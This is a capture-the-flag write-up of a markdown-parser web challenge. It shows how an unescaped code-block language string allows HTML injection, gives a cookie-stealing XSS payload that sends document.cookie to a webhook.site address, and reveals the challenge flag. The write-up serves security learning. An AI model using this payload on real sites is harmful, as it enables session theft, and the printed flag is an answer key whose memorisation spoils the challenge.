# Markdown Parser ### Challenge Details > Author: ocean \ Category: Web \ Title: Markdown Parser \ Description: I built this simple markdown parser. Please give me some feedback (in markdown), I promise to read them all. Current features include: bold, italics, code blocks with syntax highlighting! \ Points at the end of CTF: 100 \ Instance: http://challs.nusgreyhats.org:33335/ \ Download: https://ctfd.nusgreyhats.org/files/29b0bd5a0c29e0dd06ea5e99d85a0eb4/dist-markdown-parser.zip ---- ### Writeup On opening the page, we see a simple input box asking for some markdown. When you click submit, it renders out the markdown, with a button at the bottom reading "Send feedback". Clicking it shows an alert saying 'The admin has viewed your feedback!'. An XSS challenge? Inspecting the `index.js`, one will notice two functions wherein the basis of our solution lies: `parseMarkdown()` and `visitUrl()`. Let's take a look at the file `parseMarkdown()` originates from, `markdown.js`. In markdown.js, Lines 6 to 35: ```js lines.forEach(line => { if (inCodeBlock) { if (line.startsWith('```')) { inCodeBlock = false; htmlOutput += '</code></pre>'; } else { htmlOutput += escapeHtml(line) + '\n'; } } else { if (line.startsWith('```')) { language = line.substring(3).trim(); inCodeBlock = true; htmlOutput += '<pre><code class="language-' + language + '">'; } else { line = escapeHtml(line); line = line.replace(/`(.*?)`/g, '<code>$1</code>'); line = line.replace(/^(######\s)(.*)/, '<h6>$2</h6>'); line = line.replace(/^(#####\s)(.*)/, '<h5>$2</h5>'); ... line = line.replace(/^(#\s)(.*)/, '<h1>$2</h1>'); line = line.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>'); line = line.replace(/__(.*?)__/g, '<strong>$1</strong>'); line = line.replace(/\*(.*?)\*/g, '<em>$1</em>'); line = line.replace(/_(.*?)_/g, '<em>$1</em>'); htmlOutput += line; } } }); ``` If you're keen, you would notice that there's opportunity to escape the starting tag in the scenario when you're starting a code block. Let's take a look at it more carefully. ```js if (line.startsWith('```')) { language = line.substring(3).trim(); inCodeBlock = true; htmlOutput += '<pre><code class="language-' + language + '">'; } ... ``` This action only executes when the line starts with three backticks and not in a code block, i.e. just when you're starting a code block. It gets the code language by taking the rest of the line excluding the first three characters and trimming that, e.g. "\`\`\`py" -> language = "py". It then sets inCodeBlock to True and appends `<pre><code class="language-{language}">` to the html output. Taking the previous example, this would be `<pre><code class="language-py">`. Most importantly, this is a direct substitution. If one could close the open apostrophes, and close the `pre` and `code` tags, they could write anything they want. Including `<script>`s. So that's what I did. I put in the markdown ```md ```amazing-lang"></code></pre> ``` Which completes the chunk as `<pre><code class="language-amazing-lang"></code></pre>`. Remember what we were here for? Examine `admin.js`, and you will see that on Lines 24 to 26 there is the following: ```js await page.setCookie({ name: 'flag', value: process.env.FLAG || 'flag{fake_flag}', ... ``` It appears that we have to steal the admin cookies, wherein our beloved flag will be waiting for us. I'm using https://webhook.site to view requests here, although you can use other services like https://putsreq.com/. I came up with the following html code for cookie grabbing: ```html <script>document.write('<img src=\"https://webhook.site/abc?cookie='+document.cookie+'\"/>')</script> ``` (webhook.site url hidden for obvious reasons) Combining the code block trick and the previous cookie grabbing code, and you get: ```md ```amazing-lang"></code></pre><script>document.write('<img src=\"https://webhook.site/abc?cookie='+document.cookie+'\"/>')</script> ``` Paste that into the input box and click submit, then click send feedback and head back to webhook.site to view incoming requests. You should see this appear: ![image](https://hackmd.io/_uploads/HkHbo_pbR.png) And there's our flag, `grey{m4rkd0wn_th1s_fl4g}` ### Comments This one was the hardest of the web challenges I solved, but it was still fun. =)